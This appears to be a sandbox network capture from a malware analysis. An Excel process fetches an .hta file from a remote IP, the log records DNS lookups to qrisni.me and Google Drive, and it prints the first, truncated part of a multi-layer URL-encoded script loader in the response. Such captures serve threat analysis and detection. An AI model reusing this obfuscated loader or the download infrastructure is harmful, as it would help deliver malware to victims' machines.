Oct 25, 2024 19:48:29.510840893 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:29.516295910 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:29.516388893 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:29.521872997 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:30.482635021 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:30.482884884 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:30.490981102 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:30.491126060 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:30.620033026 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:30.625510931 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:30.625579119 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:30.627878904 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:30.633332968 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:30.633389950 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:30.638854980 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:31.609421968 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:31.609570026 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:31.615869045 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:31.615947008 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:31.758042097 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:32.200973034 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:32.201071024 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:32.203506947 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:32.209045887 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:32.209099054 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:32.214982986 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.510173082 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.510308027 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.510390997 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.510405064 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.510432005 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.510447025 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.515670061 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.648930073 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.654861927 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.654937029 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.656611919 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.661958933 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:33.662009001 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:33.667407990 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:34.643122911 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:34.643295050 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:34.649178028 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:34.649260044 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:34.893410921 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:34.898941994 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:34.899089098 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:34.901361942 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:34.906826973 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:34.906883955 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:34.912332058 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:35.881334066 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:35.881647110 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:35.888509035 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:35.888717890 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:36.044970989 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:36.050825119 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:36.050899029 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:36.052603960 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:36.058010101 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:36.058064938 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:36.063384056 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:37.058933020 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:37.059066057 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:37.065171957 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:37.065274000 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:37.200833082 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:37.207585096 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:37.207649946 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:37.209949017 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:37.216521025 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:37.216587067 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:37.222434044 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:38.186429024 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:38.186811924 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:38.222820997 CEST	80	49229	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:38.222902060 CEST	49229	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:38.322714090 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:38.328459978 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:38.328556061 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:38.330260992 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:38.335843086 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:38.335923910 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:38.341492891 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:39.339977026 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:39.340217113 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:39.345781088 CEST	80	49230	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:39.345861912 CEST	49230	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:39.480746984 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:39.486944914 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:39.487011909 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:39.489418983 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:39.494991064 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:39.495065928 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:39.500372887 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:40.463723898 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:40.463830948 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:40.469850063 CEST	80	49231	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:40.469917059 CEST	49231	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:40.657746077 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:40.722707987 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:40.722894907 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:40.724618912 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:40.730451107 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:40.730504036 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:40.735929966 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:41.689733982 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:41.689908028 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:41.696163893 CEST	80	49232	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:41.696235895 CEST	49232	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:41.840379000 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:41.845980883 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:41.846127033 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:41.847762108 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:41.853185892 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:41.853254080 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:41.858836889 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:42.837202072 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:42.837405920 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:42.843447924 CEST	80	49233	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:42.843523979 CEST	49233	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:42.966139078 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:42.971899986 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:42.971977949 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:42.973639011 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:42.979250908 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:42.979309082 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:42.985272884 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:43.950455904 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:43.950578928 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:43.956615925 CEST	80	49234	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:43.956691980 CEST	49234	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:44.097623110 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:44.443644047 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:44.443753958 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:44.449631929 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:44.455276012 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:44.455324888 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:44.460697889 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:45.399772882 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:45.400038958 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:45.405992985 CEST	80	49235	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:45.406055927 CEST	49235	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:45.524367094 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:45.530626059 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:45.530709028 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:45.532546043 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:45.538120031 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:45.538197994 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:45.543705940 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:46.514714956 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:46.514822006 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:46.521024942 CEST	80	49236	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:46.521089077 CEST	49236	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:46.649154902 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:46.656678915 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:46.656754971 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:46.658529043 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:46.666443110 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:46.666513920 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:46.672161102 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:47.891940117 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:47.892066002 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:47.893136978 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:47.893151045 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:47.893188000 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:47.893204927 CEST	49237	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:47.900712013 CEST	80	49237	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:48.077054024 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:48.082878113 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:48.082954884 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:48.084608078 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:48.090262890 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:48.090331078 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:48.097292900 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:49.052824974 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:49.052912951 CEST	49238	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:48:49.059046984 CEST	80	49238	94.156.177.220	192.168.2.22
Oct 25, 2024 19:48:49.059106112 CEST	49238	80	192.168.2.22	94.156.177.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 19:46:27.985800028 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:46:28.088455915 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 25, 2024 19:46:30.911220074 CEST	52917	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:46:30.923484087 CEST	53	52917	8.8.8.8	192.168.2.22
Oct 25, 2024 19:46:50.967715025 CEST	62751	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:46:50.978590965 CEST	53	62751	8.8.8.8	192.168.2.22
Oct 25, 2024 19:46:58.460742950 CEST	57893	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:46:58.470587969 CEST	53	57893	8.8.8.8	192.168.2.22
Oct 25, 2024 19:47:00.608207941 CEST	54821	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:47:00.615664005 CEST	53	54821	8.8.8.8	192.168.2.22
Oct 25, 2024 19:47:06.236989021 CEST	54719	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:47:06.543037891 CEST	53	54719	8.8.8.8	192.168.2.22
Oct 25, 2024 19:47:08.320898056 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 25, 2024 19:47:08.329984903 CEST	53	49881	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 19:46:27.985800028 CEST	192.168.2.22	8.8.8.8	0x2d0c	Standard query (0)	qrisni.me	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:30.911220074 CEST	192.168.2.22	8.8.8.8	0xabc3	Standard query (0)	qrisni.me	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:50.967715025 CEST	192.168.2.22	8.8.8.8	0x9e02	Standard query (0)	qrisni.me	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:58.460742950 CEST	192.168.2.22	8.8.8.8	0xa065	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:47:00.608207941 CEST	192.168.2.22	8.8.8.8	0x5178	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:47:06.236989021 CEST	192.168.2.22	8.8.8.8	0x9744	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:47:08.320898056 CEST	192.168.2.22	8.8.8.8	0xa9e7	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 19:46:28.088455915 CEST	8.8.8.8	192.168.2.22	0x2d0c	No error (0)	qrisni.me	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:28.088455915 CEST	8.8.8.8	192.168.2.22	0x2d0c	No error (0)	qrisni.me	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:30.923484087 CEST	8.8.8.8	192.168.2.22	0xabc3	No error (0)	qrisni.me	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:30.923484087 CEST	8.8.8.8	192.168.2.22	0xabc3	No error (0)	qrisni.me	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:50.978590965 CEST	8.8.8.8	192.168.2.22	0x9e02	No error (0)	qrisni.me	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:50.978590965 CEST	8.8.8.8	192.168.2.22	0x9e02	No error (0)	qrisni.me	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:46:58.470587969 CEST	8.8.8.8	192.168.2.22	0xa065	No error (0)	drive.google.com	142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:47:00.615664005 CEST	8.8.8.8	192.168.2.22	0x5178	No error (0)	drive.usercontent.google.com	142.250.185.97	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:47:06.543037891 CEST	8.8.8.8	192.168.2.22	0x9744	No error (0)	drive.google.com	142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 25, 2024 19:47:08.329984903 CEST	8.8.8.8	192.168.2.22	0xa9e7	No error (0)	drive.usercontent.google.com	142.250.185.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

qrisni.me

drive.google.com

drive.usercontent.google.com

192.3.176.141

94.156.177.220

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	192.3.176.141	80	3560	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:46:29.693373919 CEST	377	OUT	GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.141 Connection: Keep-Alive
Oct 25, 2024 19:46:30.381803989 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 17:46:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 25 Oct 2024 04:28:49 GMT ETag: "33177-625458e388bb6" Accept-Ranges: bytes Content-Length: 209271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 73 63 72 69 70 74 25 32 35 32 30 6c 61 6e 67 75 61 67 65 25 32 35 33 44 4a 61 76 61 53 63 72 69 70 74 25 32 35 33 45 6d 25 32 35 33 44 25 32 35 32 37 25 32 35 32 35 33 43 73 63 72 69 70 74 25 32 35 32 35 32 30 6c 61 6e 67 75 61 67 65 25 32 35 32 35 33 44 4a 61 76 61 53 63 72 69 70 74 25 32 35 32 35 33 45 6d 25 32 35 32 35 33 44 25 32 35 32 35 32 37 25 32 35 32 35 32 35 33 43 73 63 72 69 70 74 25 32 35 32 35 32 35 32 30 6c 61 6e 67 75 61 67 65 25 32 35 32 35 32 35 33 44 4a 61 76 61 53 63 72 69 70 74 25 32 35 32 35 32 35 33 45 6d 25 32 35 32 35 32 35 33 44 25 32 35 32 35 32 35 32 37 25 32 35 32 35 32 35 32 35 33 43 25 32 35 32 35 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 32 35 32 35 [TRUNCATED] Data Ascii: <script>...document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253Cscript%252520language%25253DJavaScript%25253Em%25253D%252527%2525253Cscript%25252520language%2525253DJavaScript%2525253Em%2525253D%25252527%252525253C%2525252521DOCTYPE%2525252520html%252525253E%252525250A%252525253Cmeta%2525252520http-equiv%252525253D%2525252522X-UA-Compatible%2525252522%2525252520content%252525253D%2525252522IE%252525253DEmulateIE8%2525252522%2525252520%252525253E%252525250A%252525253Chtml%252525253E%252525250A%252525253Cbody%252525253E%252525250A%252525253CScRIPT%2525252520TYpe%252525253D%2525252522teXt/vBScrIPt%2525252522%252525253E%252525250ADIm%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252525252
Oct 25, 2024 19:46:30.381977081 CEST	1236	IN	Data Raw: 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 Data Ascii: 0%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520
Oct 25, 2024 19:46:30.381999969 CEST	1236	IN	Data Raw: 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 Data Ascii: 25252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252
Oct 25, 2024 19:46:30.382230043 CEST	636	IN	Data Raw: 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 Data Ascii: 2520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252
Oct 25, 2024 19:46:30.382246017 CEST	1236	IN	Data Raw: 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 Data Ascii: 252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520QyqgGzotEJKvYqDKIViZJpPanZMsQKHPxnTGCEywGeZbDlTJXrXzKLhkZWDbsuMbfmgsYsTfZLRmGYVNipvjuuYlxVxNaZqdDddllYZRz
Oct 25, 2024 19:46:30.382320881 CEST	1236	IN	Data Raw: 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 Data Ascii: 2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2
Oct 25, 2024 19:46:30.382337093 CEST	1236	IN	Data Raw: 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 Data Ascii: 252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%25252
Oct 25, 2024 19:46:30.382350922 CEST	1236	IN	Data Raw: 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 Data Ascii: 20%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252525252C%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252525252
Oct 25, 2024 19:46:30.382671118 CEST	1236	IN	Data Raw: 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 Data Ascii: 525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%25
